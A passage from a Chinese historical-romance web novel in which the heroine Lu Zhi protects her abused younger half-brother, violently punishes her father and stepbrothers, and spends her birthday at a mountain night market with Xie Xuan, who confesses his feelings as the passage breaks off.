陆枝躺在伞篷下无事摇扇,若娘洗了新鲜的水果来,陆枝捏起一颗青枣送入口中,津甜在口中化开,她吐掉核问道:“若娘,你有什么想做的事吗?”
若娘:“有呀,孟童又大了一岁,我要给他做身新衣裳。”
“我说的不是这个,你——”陆枝话音打住,旋即笑了笑:“算了,没什么,这个也很好。”
有个惦念的人,给他做一件新衣裳,是很好了。
若娘:“小姐想做什么?”
“原本想回怙州。”陆枝重新躺下,闭上眼睛,有一搭没一搭地摇着扇:“可回了怙州也不知要做些什么,怙州如今不需要我了。”
怙州如今安稳,她回去也只是做个让大家小心翼翼对待的吉祥物。
若娘:“小姐……”
“害。”陆枝抬扇晃了晃:“想那么多作甚,我若是想回随时能回。”
若娘:“若娘此生都跟着小姐。”
陆枝睁开一只眼调侃道:“不嫁人了?”
若娘坚定道:“小姐让我嫁我就嫁。”
陆枝听了再度坐起,举起团扇一拍若娘的额头:“婚姻应由自己做主,将来有一天你若是遇着好人家了,只许跟我说一声,我定会为你准备嫁妆。”
若娘感动:“小姐,若娘一辈子都跟着您。”
陆枝笑笑,也没再继续说什么。
她倒不是怀疑若娘的忠心,只是以后的事,谁知道呢。
陆博是陆枝最小的弟弟,出人意料地来找陆枝,陆枝看着他局促不安的模样,轻声道:“
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你来找我又什么都不说,可是让我很难猜的呀。”
陆博拽紧衣角,低着头支支吾吾道:“长、长姐,娘亲生病了,我没有钱。”
他的声音越来越小:“你能不能……借我些钱,我、我日后还你……”
陆枝对这个弟弟不是很了解,入陆府后她大部分精力都花在了罗香君母女身上。
她看向若娘求助,若娘会意,附在她的耳边低声说道:“小姐,小公子的娘亲出身并不好,不似其他夫人那般有权有势,老爷虽承认了小公子,却没有给小公子娘亲名分。”
陆枝低声问:“这对母子可是没有月钱?”
若娘:“府里上下都看不起小公子的娘亲,这月钱自然也就……”
被层层拿了。
陆枝听明白了若娘的意思,陆博的衣裳虽不破也也洗得犯了旧,看样子,这月钱到他们母子手里怕是没剩几个子了。
她招手道:“来,你且到我面前来。”
陆博听话地走近。
陆枝抬手想摸摸陆博的头,陆博却害怕地缩头一躲,她手指一缩,拧眉心道:“这孩子被人打过。”
她收回了手:“我将大夫叫来,你将娘亲带来我院里好不好?”
陆博不可置信地抬头看向陆枝,他原本没报多大的希望,这个府里上上下下都对他不好,只是娘亲实在病得厉害,他不得不抱着残存的希望来求一求这个新入府的长姐。
没想到,这个长姐真会和陆府里的人不同。
小家伙眼睛里冒出水汽,狠狠点头道:“好,我去接,我去接,长姐,我一定会还钱的。”
陆枝给他擦去眼泪,摸了摸他的脸,语气温柔:“还钱的事以后再说,先把娘亲治好。若娘,你跟着小博一起去接人,若有人敢拦,尽管让他来找我。”若有人不长眼,她可就直接动手了,她不是、也不做那只动口的君子。
直到亲眼看到方秋菱,陆枝才知道他们母子二人过得有多不好,人已经病得快没了人样,而身上却没有任何药味。
这个陆府啊,会吃人。
大夫诊断出结果,开了药方,陆枝把人安置在自己院里亲自照顾。
每日亲自施针为方秋菱排除体内郁气,药也是若娘亲力亲为地熬煮,未经任何人手。
陆博年纪尚小,谁对他好,他就对谁好,况且在这人人冷漠的陆府,陆枝对他的好就显得尤其珍贵,正值暑热,陆枝若是守着方秋菱睡着了,他也守在一边给陆枝和娘亲扇风,从不说累。
这些都是若娘告诉陆枝的,陆枝觉得心疼,心道:“多懂事的一个孩子啊。”陆文德那老登真是没有心又造孽。
陆枝对陆博的印象很好,让若娘给他准备了不少好吃的和新衣裳。
有一天,陆枝午睡醒来,看见陆博还站在一旁给自己扇风,有些哭笑不得:“不是让你不要扇了吗?”
陆博:“我想为长姐做些事情。”
“既想为我做些事情,就先好生歇着。”陆枝伸手拉陆博:“来,过来坐着。”
陆博抬起的手还没碰到陆枝,忽然两眼一黑,整个人栽倒在地。
8. 长姐
陆枝大惊失色:“陆博!”
揭开陆博的衣裳,陆枝才知道陆博被人打过的那些伤并没有好。
看着他幼小的身躯上青一块紫一块的淤痕,陆枝的心里像是被扎进了一根针。
方秋菱已经能下床走路,听见陆博晕了,拖着并不利落的身体赶过来,瘫在陆博的身边一个劲地哭。
陆枝问她知不知道是谁干的,她不回答,只是哭。
看来是不敢说。
陆枝也不勉强了,专心给陆博上药,等大夫来了她才走到一边对若娘说:“若娘,去打听打听是哪些人打了陆博。”
大夫说,陆博的手骨被打碎了,若不及时医治,将来会留下残疾。
陆枝只觉得那根针越扎越深,所以这些天陆博都是忍着痛在给她扇风,骨头碎了,他得多疼。
若娘来报,陆枝听后在冰块旁边坐了一会儿,终是站了起来。
她还是很想打人。
陆文德加上陆博一共有六个儿子,如今有三个都在陆枝院子里,一个在床上躺着昏迷不醒,两个跪在陆枝面前大气也不敢出。
一个叫陆洪,一个叫陆丰,分别是她的四弟、五弟。
刚进院那会儿,这两人还很嚣张,叫嚷着:“你一个从外面来的野女也配来管我们?”
陆枝直接给了两巴掌,一点劲没收,鼻血都打出来了,脸颊迅速红肿,火辣辣地疼。
这两位嚣张跋扈的少爷立马老实了,捂着肿出小山包的脸跪在陆枝面前哭也不敢哭。
陆枝坐在伞篷下遮荫吃水果,让两位小少爷顶着烈阳罚跪,他们两人中若有人动了想要揉腿,她立马一记眼刀投过去,人立马不敢动了,咬牙忍着膝盖传来的磨肉痛楚。
两位小少爷的娘亲听闻自己儿子受苦,气冲冲地赶来,看见儿子被打成猪头还跪着心都在疼。
杜文心:“洪儿!”
颜元香:“丰儿!”
陆洪陆丰见了娘亲立马哭起来:“娘,娘,救救我,她要杀我。”
杜文心和颜元香各自把自家儿子扶起来。
颜元香顿时破口大骂:“好你个穷苦地方来的野丫头,真是无法无天了,今日这事你不给个说法,可别想过去。”
她骂起人来的模样颇有些市井泼妇的影子,相较于没仪态的颜元香,杜文心则要收敛许多,虽怒不可遏,言语上还保持着的风度:“嫡女身为嫡出长姐,竟如此残忍对待庶出胞弟,当真好狠的心。”
呵,这是在说她用身份压人恃强凌弱呢。
是又怎样呢?
陆枝不以为意,拔剑出鞘放在桌上:“敢扶者,今日断臂出我这个院门。”
她瞥了一眼两个小孩,淡淡道:“一个时辰还未到,我同意你们站起来了?”
两个小孩顿时扑通跪了下去,无论颜元香和杜文心怎么扶都摇头拒绝,怎么都不肯起来。
那一巴掌打得到现在还在疼。
他们觉得这个长姐不是会说戏言的人,如若她真要断娘亲的手臂,怕是真的做的出来。
就像打他们,说打就打,二话没说。
杜文心:“洪儿,快起来。”
颜元香:“哎,你这孩子,起来啊,怕她作甚。陆枝!你到底做了什么!让丰儿怕你至此!”
陆枝耸肩,她对来找她麻烦的向来没有好声气:“如你所见,一人挨了我一巴掌,那红肿那么明显,你眼睛瞎吗?”
“你!看我不打死你!”颜元香怒气冲冲举起手作势要打陆枝巴掌。
陆枝拿起剑直指颜元香的咽喉。
冰凉的触感让颜元香感到死亡的恐惧,她双眼睁大咽了咽口水,往后退了几步,离开那锋利的剑尖才敢正常呼吸。
俗话说“挑软柿子捏”,颜元香看见陆枝身后唯唯诺诺的方秋菱,气焰立马嚣张起来:“好你个小贱/蹄子,竟上这告状来了,你给我过来!”
方秋菱没动。
颜元香撸起衣袖,双手叉腰:“我叫你给我过来!怎么?现在有了新靠山了硬气了?连以前的主子都不认了吗!”
原来她们之前还有这层关系。
陆枝大概能猜到个前因后果了,陆文德娶了颜元香,估计这老登对方秋菱起了色心,结果方秋菱有了孩子还把孩子生了下来,颜元香和杜文心是报团取暖的盟友,所以两人任由自己的孩子欺负陆博,不,应该不是任由,而是教唆。
既然她们两个做娘的不教自己的孩子做人,她这个长姐就勉强地代为教一教。
今日她就教何为报应,太过恃宠而骄随意欺凌他人,终有一天也是要被他人教训的。
方秋菱似乎不敢不听从,从陆枝身后走向前,陆枝抓住方秋菱的手腕。
颜元香不悦:“怎么?嫡女连我教训我的丫鬟都要管?”
陆枝:“如今她是陆博的娘亲,也是我承认的长辈,长辈受辱,我自然要管。”
“你认她做长辈,”颜元香指着方秋菱,又指着陆洪陆丰气道:“你认陆博为弟弟,那洪儿和丰儿就不是你的弟弟了?我和文心就不是你的长辈了?”
陆枝:“我若是不认,今日便不是让他们罚跪反思自己这么简单了。至于你们,我有何要认的?”
她抱胸道:“你们做娘的,心疼自己的孩子,就不知心疼他人的孩子,陆博做错了什么?要任你们打骂?”
颜元香:“他出身低贱,老爷认下他已经万幸,我们打骂奴仆有何不可?”
“够了!”陆枝喝道,拿起刀叉用力掷出,刀叉以风雷之势刺在了颜元香的发髻内,颜元香被吓得腿软,瘫倒在地。
陆枝:“时辰一到,我自会放陆洪陆丰回去,现在你们滚回自己的院子等着,我就当什么都没发生,不跟你们计较,如果不然,今日二位便横着出我这院子吧。”
颜元香不敢说话,杜文心愤愤道:“嫡女真是好大的架子,我们是老爷的人,生死自是老爷来定,怎轮得到嫡女了?”
陆枝看向这个比颜元香难对付的主,笑道:“据我所知,二位为妾,未入陆家族谱。既未入族谱,便仍是贱籍,你们在我眼里与奴无异,我堂堂嫡出,想杀一两个奴有何不可?”
杜文心咬牙:“你幼时不在陆府,这身份并做不得真。”
陆枝:“我这身份乃是御史亲证,杜姨娘这是在质疑朝廷命官,可是想去大牢里住了?”
“你!”杜文心牙都咬碎了,却是不敢再说。
污蔑朝廷命官,乃是重罪,若入牢狱,她这辈子都出不来了。
颜元香和杜文心灰溜溜地走了。
陆枝让陆洪和陆丰跪足了一个时辰,两人在烈日的炙烤下哭了出来,太痛苦了。
以前从没有人告诉他们,欺负人是要付出代价的,他们凌辱陆博,甚至能得到娘亲的拥护和夸奖。
可现在情况完全换了过来,陆枝为陆博教训他们,他们痛苦,想要逃跑,想要求饶,却是无用,就连娘亲无法解救他们。
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原来被人欺负是这么痛苦的一件事。
经此一遭,他们是再也不敢了。
若娘提醒:“小姐,已满一个时辰。”
陆枝点点头:“嗯,去将他们带过来吧。”
陆洪陆丰自小被宠得娇贵,这么一跪,现下已经走不了路,那股子嚣张傲慢劲全然没了,在若娘的搀扶下似没有骨头地瘸着腿走,就好似街边被打断了退的流浪狗。
陆枝给他们准备了吃食和水,两人不管影响地坐在了地上,伸直着腿,一点不敢让膝盖碰到地面或曲起来。
此坐姿喝水不便,陆枝和若娘喂给他们喝:“可知错了?”
陆洪陆丰点头如捣蒜:“长姐,我们知错了。”
陆枝:“哦?错在哪了?”
陆洪:“我不该打骂陆博,害他受伤。”
陆丰:“我不该抢他银两,骂他贱奴。”
陆枝听着两人你来我往的自我反思,心中愈发气愤:“这两个女人到底教了孩子多少坏东西!”
“那如今你们该怎么做?”
陆洪:“应去求得陆博原谅,若是他不愿意原谅,我便一直求,直到他愿意原谅我为止。”
陆丰:“对对对,我也是。”
陆枝满意:“嗯,反省得不错。若娘。”
若娘拿了药膏给陆洪陆丰涂上。
陆枝:“这药利于生肌,今后望你们修养己身,待兄弟友善,若再被我知晓你们怙恶不改,我定不轻饶。”
陆洪、陆丰:“是,长姐。”
陆枝:“陆博以后都住在我这,明天应该醒了,你们该知道怎么做了吧。”
“知道,长姐。”
若娘把两人送回各自的院子。
方秋菱担心道:“小姐,两位夫人怕是会将今日之事告知老爷,都是我连累了小姐。”
陆枝拉住她的手道:“跟你有何关系,都是我做的,还有你是陆博的娘,便是我的长辈,不必喊我小姐,喊我陆枝便好。”
方秋菱受宠若惊,挣扎许久却始终不敢直呼陆枝的姓名,低声问道:“那我唤枝儿可、可好?”
陆枝一愣,方秋菱不由得将头埋低,她怎就这么轻易当了真?也太得寸进尺了:“小——”
“当然好啊。”陆枝笑容灿烂如朝阳:“便这么叫吧,显得亲近。”
陆洪陆丰次日还真的来道歉了,陆博不知所措地看向陆枝,陆枝摸摸他的头说:“无妨,若是不想原谅便不原谅,无需那么懂事委屈自己。”
陆博摇摇头:“我知道都不是兄长们的错,兄长们以前都待我很好,带着我玩,给我吃糖。”
他扶起陆洪陆丰:“所以我并不怨恨兄长们。”
陆洪陆丰羞愧难当,抱着陆博大哭起来:“小博,对不起,以后我们再也不欺负你了。”
陆枝撑着下巴看着抱在一团的三兄弟心道:“果然爱比恨有用啊,陆博这孩子,真是个善良的小天使。”
听闻陆枝拒绝了秦家的三成家产,还大闹秦府,将关系闹得很僵,秦家断了给陆文德的支持。
但因当日太子亲临为陆枝解围,陆文德纵使有天大的气也硬生生地忍了下去。
颜元香和杜文心上门告状,极近夸张地将陆枝描述得有多无礼,有多不将陆文德放在眼里。
陆文德那一直压抑的怒火终于彻底爆发了。
他拿着家法棍,怒气冲冲地踹开了陆枝的大门:“逆女,给我滚出来!”
9. 见你
陆博正在写字,被这大动静一惊,笔画歪到了天边去,墨点甩了几滴在陆枝的衣裳上,他一脸抱歉地看着陆枝。
陆枝波澜不惊道:“无事。”
颜元香和杜文心跟在陆文德身后,假模假样地喊着“老爷息怒”,却是一副看好戏的神态,一看到陆枝立马指着大喝“看你都将老爷气成什么样了”,生动地诠释了何为狗仗人势。
这要是放在前日,这两人是决计没有勇气和陆枝硬碰硬的。
陆枝不急不忙前来:“爹爹如此气愤,所为何事?”
陆文德厉声:“你竟还与我装傻!你私自重罚陆洪陆丰,可还有将我放在眼里?”
陆枝:“自然有的,两位弟弟顽劣伤了陆博,我身为长姐,有教导之责,也是为爹爹分忧。”
她说的并无错处。
陆文德一时间哑了火,哼了一声找补道:“就算如此,你可先行言辞教导,如何要让他们在你院中罚跪。”
陆枝:“若是罚得轻了,会不长记性。”
她淡淡地瞥向陆文德身后站着的的颜元香和杜文心:“两位姨娘岂不是最好的例子?”
“你!”颜元香脚一跺,娇道:“老爷,您看看她,您还在她面前呢,她就敢这么没大没小,可见前日她对我和文心有多过分了吧。”
陆枝在心里默默翻了个白眼,脸上浮出浅淡近无的笑意:“今日之前,我一直以为告状是小孩子才做的事,没想到五姨娘年过三十,还是十分擅长,可谓是保持童心了。”
陆文德:“够了!陆枝,我一直以为你同你娘亲一样温良谦德,竟不知你是如此肆意妄为,不知尊重长辈,今日若不教训你,他日我陆府的脸面都要让你丢光了!”
陆枝脸色忽然一变,目染上冷意:“我娘亲?入府这么久以来,你还是第一次主动提起娘亲。”
娘亲和爹爹惨死的画面掠过她的脑海,她的某根神经忽然就绷断了,单手捂脸冷笑起来。
“你个负心汉,有何资格提她?”她怒吼道。
陆文德顿觉脸上无光,举起家法棍朝陆枝身上打去:“逆女,冲撞秦府长辈不说,如今竟还敢冲撞父亲,你还有什么不敢的!”
陆枝哪会乖乖地挨打,只见她利落地一个回旋踢便踢掉了陆文德手中的棍,陆文德吃痛往后倒退了几步,手指颤抖地指着陆枝:“真是反了你了!”
“到如今为止,我还真没有什么不敢。”陆枝捡起掉在地上的棍闪身迅速接近陆文德。
那棍便毫不留情地打在了陆文德身上。
一下又一下。
闷重的声音听得叫人害怕,颜元香和杜文心抱作一团缩在了角落里。
“哎,你——”颜元香正想大喊,被陆枝的一记眼刀堵了回去。
那眼神实在可怕,像是要杀人。
陆枝确实想要杀了陆文德。
陆文德抱着头在地上打滚,她并没有要放过他的意思:“你使手段娶得娘亲,不过一年,你便娶了第二房,她身孕期间,你来看过她几次?”
“她才刚一生产,你就听信谗言,迫不及待地把她扫地出门,和你那妾室双宿双飞,她产后身体极度虚弱,却要长途奔波,这其中辛苦你可能体会?你用罗香君污蔑她的理由吊着秦府,在外人面前说是她自己跑的。”
“罗香君派人害她至死,我回来后,你竟然连一句她的近况如何都不问,如今秦府断了给你的支持,你便要来找我解气了?你也配我尊?”
家法棍如暴雨般打下,陆文德痛得叫喊无力,快要昏死过去,陆枝却疯劲上了头,她扔掉棍,狠狠地掐住陆文德的脖子:“你知道我为什么没动你吗?因为娘亲念着你那一年里对她的好,可你呢?根本不配她念着,你只想用她吊着秦府,你只想吸她的血!去死吧,陆文德。”
方秋菱遵从陆枝的交代在屋里守着陆博,听见外面的声音实在担心便跑了出来,她担心陆枝真把陆文德掐死祸及己身,立马抱住陆枝阻拦:“枝儿,枝儿,快放手,弑父乃是重罪,他死了不要紧,可莫要将自己搭了进去。”
陆博也跟着跑了出来,小手搭在陆枝的左手上:“长姐,长姐。”
陆枝的理智慢慢回拢,她从那种癫狂的状态中清醒过来,缓缓松开了手。
陆文德已经翻了白眼,但还有一口气在。
陆枝一脸冷漠地从怀里拿出一个瓷瓶,倒出一粒药丸捏住陆文德的下颚给他强行喂下:“陆文德,从今以后,你的命就彻底掌控在我手里了。”
她站起来,深呼吸了一口,睨向角落的颜元香和杜文心两人:“陆洪陆丰知错能改尚且有救,你二人是他们的娘亲,我不杀你们,望你们今后好好教导孩子从善做人,若你们打定主意要教他们与我为敌,”她两指并拢比作剑状往下一划:“那我决计不会讲情面留下他们。”
“我向来,只给人一次机会。”
颜元香和杜文心看了眼地上躺着的陆文德,点头如捣蒜。
陆枝:“将他拖走,别脏了我的院子。”
颜元香和杜文心立马上前准备拖人。
“还有,”两人的动作顿时一停,等着陆枝的下文:“去告诉府里的其他人,日后若要来找我,先敲门,不敲门直接闯进来的,就别出去了,我养的树近来长势不好,正好缺花肥。”
颜元香疯狂点头,颤声道:“是是是,我一定传达仔细。”
陆枝:“出去吧。”
颜元香和杜文心抬着陆文德走,走了没几步就没了力气,想要喊小厮帮忙。
陆枝不许:“怎么?有力气打人没力气搬人?”
颜元香和杜文心哪还敢喊人帮忙,一人抬着上半身,一人抬着双腿,咬着牙把陆文德磕磕绊绊地拖出了陆枝的院子。
院子里的路铺了碎石,陆文德的屁股几乎全程都贴在碎石上摩擦,大抵是会磨掉一层皮了。
陆枝转过身,看见方秋菱和陆博抱歉地笑了笑:“早些去睡吧。”
陆博跑过来拉住陆枝的手:“长姐,你若是不开心,我可以彻夜陪你说话。”
陆枝摸了摸陆博的头:“谢谢你小博,但长姐需要一些时间自己冷静冷静。”
“那好吧。”陆博仍仰着头:“明日我和若娘姐姐去将柳月楼的山药羹买回来,等长姐来吃。”
陆枝笑着道:“好。”
回了房间,陆枝觉得闷得难受,打开了窗。
夏夜里的月色很好,清朗透彻,她
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被温柔拂过的暖热晚风吹红了眼。
自她从怙州来到京城,为了躲避痛苦,从不敢细细去想怙州的一切过往,她总想麻痹自己:自己只是来京城看一下那素昧蒙面的爹,等等还是要回去的。
可她始终没有回去,她内心隐隐害怕着面对怙州已经没有亲人等她归去的现实。
今夜陆文德提及娘亲,她是真的疯了。
陆枝坐到了窗边,蜷缩抱着自己沉浸在晚风里,风里好似有娘亲和爹爹的味道。
过往十五年,他们曾一起吹过很多很多次晚风。
屋瓦轻碰的声音传入耳中,陆枝抬起满眼泪痕的脸,就看见了谢玄。
他一身飒爽黑衣,好似一个晚风派来的使者,在这偌大又陌生的京城中,他是唯一一个从她十四岁到十五岁走过来还存在的人,连结着她的过去和现在。
陆枝的声音很轻:“你怎么会来?”
谢玄向陆枝伸出手:“前些日子买了盆昙花,今夜开了,想邀你去看看,而且不知为何——”
他微微垂着眸看着陆枝,温沉的嗓音融入轻暖的晚风里:“我总觉得,今夜应该来见你。”
晚风轻轻地流转,拂过两人的发丝和衣摆。
陆枝看着谢玄的眼睛,想起了前世在书上看到过的一句话。
傍晚的月亮,照着花开的田野,我无端感觉你在等,所以我来了。【注1】
陆文德告病修养在家,等身上的伤和脖子上的红印消得差不多了才重新上朝。
他知晓陆枝给他下了毒,却拉不下脸亲自找陆枝要解药续命,每到发作日,便让颜元香代他去拿,他身为一国相辅,不甘心性命被他人掌握,于是请求同僚帮他打听有无认识的名医或隐世的高人。
太医院的太医医术定然不会差,陆文德却不去太医院求诊,他不想让自己被自己女儿暴打并下了毒的事情让他人知晓。
说到底,还是为了个面子。
可这事总会引起有心人的注意。
流光来报时,谢瓒正煮着茶,听到这个消息不轻不重地“哦”了一声,拖着点尾音。
要说谢瓒和陆文德这两个人,表面上是交往不多的皇子与朝臣,私底下却有着不便明说的算计。
当初谢瓒被立为太子,根基尚浅,有心拉拢陆文德,陆文德不敢立刻押宝,处于观望的状态,左右逢源没有立刻站队。
后来谢瓒靠着手段和皇后的上下打点积攒出了一定的实力,陆文德想要贴上来,还把陆绫送了出来,谢瓒却是看不上了。
谢瓒有心重新培养出一个相辅代替掉陆文德,也曾暗中助力韩望津扳倒陆文德,可被其他皇子从中作梗没有得手。
陆文德没了罗家和秦家的支持,颓势已现,他在谢瓒这就是一颗弃子。
可此刻谢瓒又有了想要用一用这颗弃子的打算。
谢瓒:“流光,去寻一寻医术超群的民间名医。哎,还有,这事要秘密进行。”
流光:“是。”
谢瓒用笼碾将茶团碾得细如粉尘泛出碧色,嘴角勾起一抹意味深长的笑意。
陆文德虽已无用,却拥有着一样他想要得到的事物,在弄倒这颗弃子前,他要先从他那边拿过来。
10. 生辰
关于谢玄养的那盆昙花,陆枝到底是没看成,毕竟昙花一现,等她赶过去估计早已经开过了,谢玄坐在陆枝身边,陪她吹了一夜的晚风。
陆枝眼皮渐沉睡着过去,无意识地靠在了谢玄的肩头,谢玄的心脏不轻不重地跳了一下,僵直着身体不敢再动,生怕惊醒了她,待听到她的呼吸已均匀绵长,才十分小心地将她抱回了床。
谢玄次日光明正大地登门,说要邀请陆枝去一个地方,但时间和地点都没明确说。
陆博有些狐疑地打量谢玄,担心他对陆枝有什么坏心思,但陆枝同意了。
若娘自此知道了陆枝口中曾说的“他”是谁了,自家小姐不热衷于谈论京城的公子才子,原是心早有所属。
她兴致冲冲地为陆枝准备出行行李。
陆枝看若娘拿出她的衣物打包,十分不解:“若娘,你这是在干什么?”
若娘:“想来二殿下要邀请小姐出趟远门,若娘先给小姐将行李准备好。对,胭脂水粉也得带好。”
陆枝:“?”谢玄什么都没说,她就知道是要出远门了?若娘以前干过算命?
暑热愈盛,将近陆枝生辰。
谢玄提前一日邀请陆枝出门,陆枝看若娘藏不住笑容的眼睛,心道:“还真让她算中了。”
京城和云州的交界地带有一处山市,名叫暮市。
京城和云州的人们常在此交易往来,后来便慢慢发展成了市集,州官上书请求取消此地宵禁,天子见是民意所致同意了,并为该市集取名为“暮”,自此暮市名声远扬,许多外地商贩慕名而来,发展百年,到如今已十分繁华。
暮市沿着山脚一路而建,白日里山水风光好,夜里灯火惶惶,满是人间烟火。
客栈是整日整日常开着的,谢玄早就订好了两间上房,送陆枝到房前时,他说:“暮市到了夜里才是最好逛的,现下离天黑还有些时辰,路上奔波难免累了,先好生休息。”
陆枝微笑点点头:“嗯。”
从京城到暮市,路上正好花费了一日半,也就是说今天是她的生日。
看来谢玄是计算好了时间的,对于这样用心准备的好意,陆枝当然不会轻易拒绝。
他们到时日头已经快要落下,陆枝小眯了一会就起来等着了,门外传来轻微的脚步声,她起身开门。
正要敲门的谢玄蓦地一征,陆枝浅笑,解释道:“听见脚步声了。”
谢玄回味过来陆枝是在等他,笑意没忍住爬上嘴角:“天色已暗,灯火马上便要起了。”
仿佛是印证了谢玄所说,惶惶灯火瞬间亮起,向远处蔓延而去。
谢玄的身上披上一层暖融融的光,目色在晦暗中依然清澈轻盈,好似世上最清亮的月,陆枝没来由地看痴了。
楼下人声沸腾,谢玄伸出手:“走吧。”
陆枝搭上:“好。”
人群拥挤,两人相携穿行在人群中,身后跟着沐武和若娘,可怜若娘力量单薄,险些被人群冲走,好在沐武顺手捞了一把,才没让她被挤出几里之外。
若娘道谢。
沐武神色未变,道:“人多易走散,得罪了。”
他牵起了若娘:“姑娘牵紧我。”
若娘害羞得脸红了,由于之前已经被人挤得脸红导致这份羞红根本看不出来:“嗯,劳烦少侠了。”
空气中弥漫着食物香甜的气味,谢玄每样都给陆枝买了一些,喂给她尝。
在被投喂了三四十样吃食后,陆枝摸了摸已经撑了的肚子终于投降:“我吃不下了。”
谢玄:“今日吃的,可有最喜欢的?”
陆枝回忆了会儿:“文思豆腐。”
口感细腻,入口即化。
谢玄默默记下,再度牵起陆枝:“走,我带你去另一处。”
沐武跟着走到一个摊前,突然停了下来,若娘冷不丁撞上了他的后背:“抱歉抱歉,少侠,是我没看路。”
她微微探出一个脑袋:“少侠,可是跟丢了?”
沐武摇头,指着摊位上的芙蓉花饼问道:“你可想吃?”
若娘看花饼的卖相极好,立马点头道:“想。”
沐武买了一袋给若娘,于是他一手拿饼一手牵着若娘,若娘一手被牵着,一手拿饼吃。
若娘看沐武不方便,拿起一块饼喂沐武:“少侠你也尝尝,很好吃。”
沐武:“……我……等会吃。”
若娘把饼塞进了自己嘴里:“少侠,你怎么想起来给我买饼啊?”
沐武动了动嘴唇:“没什么。”
若娘:“哦。”
只是正好瞧见了你今日戴着芙蓉花簪。
谢玄将陆枝带到了山腰处,由于此处视野极好,山下和远处风光一览无遗,常会有游客来这观览。
只是此刻还没什么人来,大抵是因为他们来得较早,前来暮市游玩的游客还在吃饭。
山腰处有一片幽静的小湖,当下明月当头,山间树木裹了一层银霜,湖面也泛着粼粼的清光。
当地人给此湖取名心想事成湖。
说是对着湖许愿,便能够心想事成,许多游客也是慕此湖名而来。
谢玄:“当初在怙州时,你曾让我拿着一根点燃的蜡烛,对着它许愿。这湖名声在外,应是比蜡烛有用,今年生辰可试试对着它许愿。”
陆枝没忍住笑了,笑着笑着眼眶又有些湿润,她清清嗓,道:“那可好,我还从未对湖许过愿呢,今日正好让我试试灵不灵验,若是灵验,等你生辰时,我们再来。”
今夜一切都很美好,热闹山市,香甜吃食,明月清风,还有带她此刻享有这一切的人。
她变得灰暗的生命仿佛正在恢复色彩。
这人间烟火,温暖俗常,纵然如何隐藏,她还是心生向往的。
于是,她贪心了,想要向谢玄预定下次。
谢玄:“好,就算不是我生辰,你若想来,我们便来。”
眼眶的热意快要忍不住了,她赶紧闭上眼睛默默许愿,没有蜡烛要吹,她摊开掌心做出抛撒的动作。
谢玄不解:“这是作何?”
陆枝:“这样一来,明月和湖都能听见我的愿望了,双重保障。”
第一次见陆枝时,谢玄就觉得陆枝的想法和行为都很特别,于是他抬起手在空气中扇了扇,在陆枝不解的眼神中微笑解释道:“我在让明月和湖快点听见你的心愿,好早日实现。”
陆枝心里涌起一股冲动,她想要叫一叫谢玄的名字:“谢……”
“哎呀。”
“娘子小心!”
忽然而至的人声打断了陆枝,两人齐齐朝声源处看去。
山中林木茂盛,看不太清。
两人走了过去,是一对年轻的小夫妻,
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娘子不慎划了一脚,丈夫扶她起来给她揉摔疼的地方。
看样子,他们是来采药的,只是刚才那一跤,采好的药材已经散落了一地。
陆枝行礼:“夫人郎君有礼,我叫陆枝,身旁这位叫谢玄,见二位药材落了一地,夫人当下又犯疼,若不嫌弃,我们可帮二位捡药材。”
夫妻二人相携着回礼。
女子道:“那便有劳公子姑娘了,公子姑娘应是来赏景的吧,惊着二位了,实在抱歉。”
“夫人言重。”陆枝微微欠身,和谢玄一起将散落的药材捡进药篓,交还给了主人。
女子已恢复过来,夫妻二人赶紧道谢,男子道:“小生名叫朱峰,这是我的娘子姜寻,我们二人在暮市开了家药店,若公子小姐不嫌弃,还望公子小姐来店里坐坐,沏杯养生药茶聊表谢意。”
姜寻道:“这茶是我们自己研制出来的,口感极好,有药用而无药味,在暮市也卖得极好,公子小姐若不嫌弃,便来尝尝。”
陆枝被说动了心,看向谢玄问他的意见。
谢玄:“听闻这云浮药茶也是暮市的一大特色,今日正想带你尝尝,却不曾想闭了门。”
小夫妻二人背起药篓,走在前面领路,朱峰道:“原是要来喝茶的客人,真是对不住了,近日暑热,来喝茶的客人多,药材都用光了,这不,我和娘子特上山来采了一天的药。”
陆枝接话:“烈日当头,采药可是辛苦。”
姜寻:“害,不辛苦不辛苦,我们以此为生,若是觉得辛苦,那日子可要叫苦连天了。况且我和夫君都很喜欢药材,每逢上山采药,就当是在寻宝,若是找着了新药材,可要开心一整天。”
是很热爱生活的人呢。
一番交谈下来,陆枝喜欢上了这对豪爽的小夫妻。
【姑姑姑,姑娘,我都将你的药材捡好了,你别哭了。】
“陆小姐你说说,明明撞落我药材的人不是他,他却像是做错了事一样一个劲地哄我,我那时候就想啊,要是以后再见到这个傻小子,我就嫁给他。”姜寻回忆过往满是甜蜜:“后来啊真巧,我还真碰见他了,他见了我就躲,我就死活缠着他,最后终是把人缠到手了。”
姜寻说着说着打了个嗝。
陆枝脸也红红的:“那可真是缘分,姜夫人有毅力也,陆枝佩服。”
朱峰和谢玄在一旁照顾着两人,谢玄听得格外认真,心道:“原是死缠烂打有用。”
这四人起先只是喝茶,喝着喝着聊欢了,只觉相见恨晚,茶已不痛快,便换了酒。
姜寻喝上了兴,整罐整罐地喝,朱峰阻止不了,在一旁小心翼翼地扶着,怕她摔了。
陆枝从没喝过酒,酒刚入肚,只觉暖乎乎的,五六杯以后,看人有了重影,她问道:“谢玄,你怎么坐着摇来摇去的,是凳子扎屁股吗?”
说完,闷地一头扎向桌面,被谢玄手快接住。
谢玄和朱峰相视无奈一笑,简单地告了别。
陆枝醉过又醒,靠在谢玄的肩头,模糊的光影在他的脸上溜过一圈又一圈,微风拂起他的发丝缠进她的指间,痒痒的。
她心里涌起很奇怪的感觉,像某种种子突然破土而出,抽枝发芽,让她再也不能忽视谢玄的存在。
陆枝:“谢玄。”
谢玄:“嗯,我在。”
“你是不是喜欢我?”
11. 交易
谢玄猛然停住。
周围人来人往,他好似被什么定在了原地,始终迈不出下一步。
陆枝眨了眨迷蒙的双眼,心道:“看来是她自恋了。”
“抱歉啊,问了你奇怪的问题,你就当我喝醉了酒在说胡话。”
谢玄:“是!”
陆枝:“嗯?你说什么?”
谢玄睁着打着眩的眼看向陆枝:“我说,是。”
“陆枝,我喜欢你。”
陆枝酒意瞬间退散,瞳孔骤缩。
这回轮到陆枝慌乱了,只见谢玄僵硬地转过了头目视前方,抱着陆枝一板一眼机械地往前走着,颇有一种佳人在怀却坐怀不乱的浩然正气之感。
陆枝眨巴着眼睛,努力消化着谢玄的答案,在陆府怼天怼地不饶人的她竟破天荒地词穷了。
“谢玄,我……那个……我……我……”
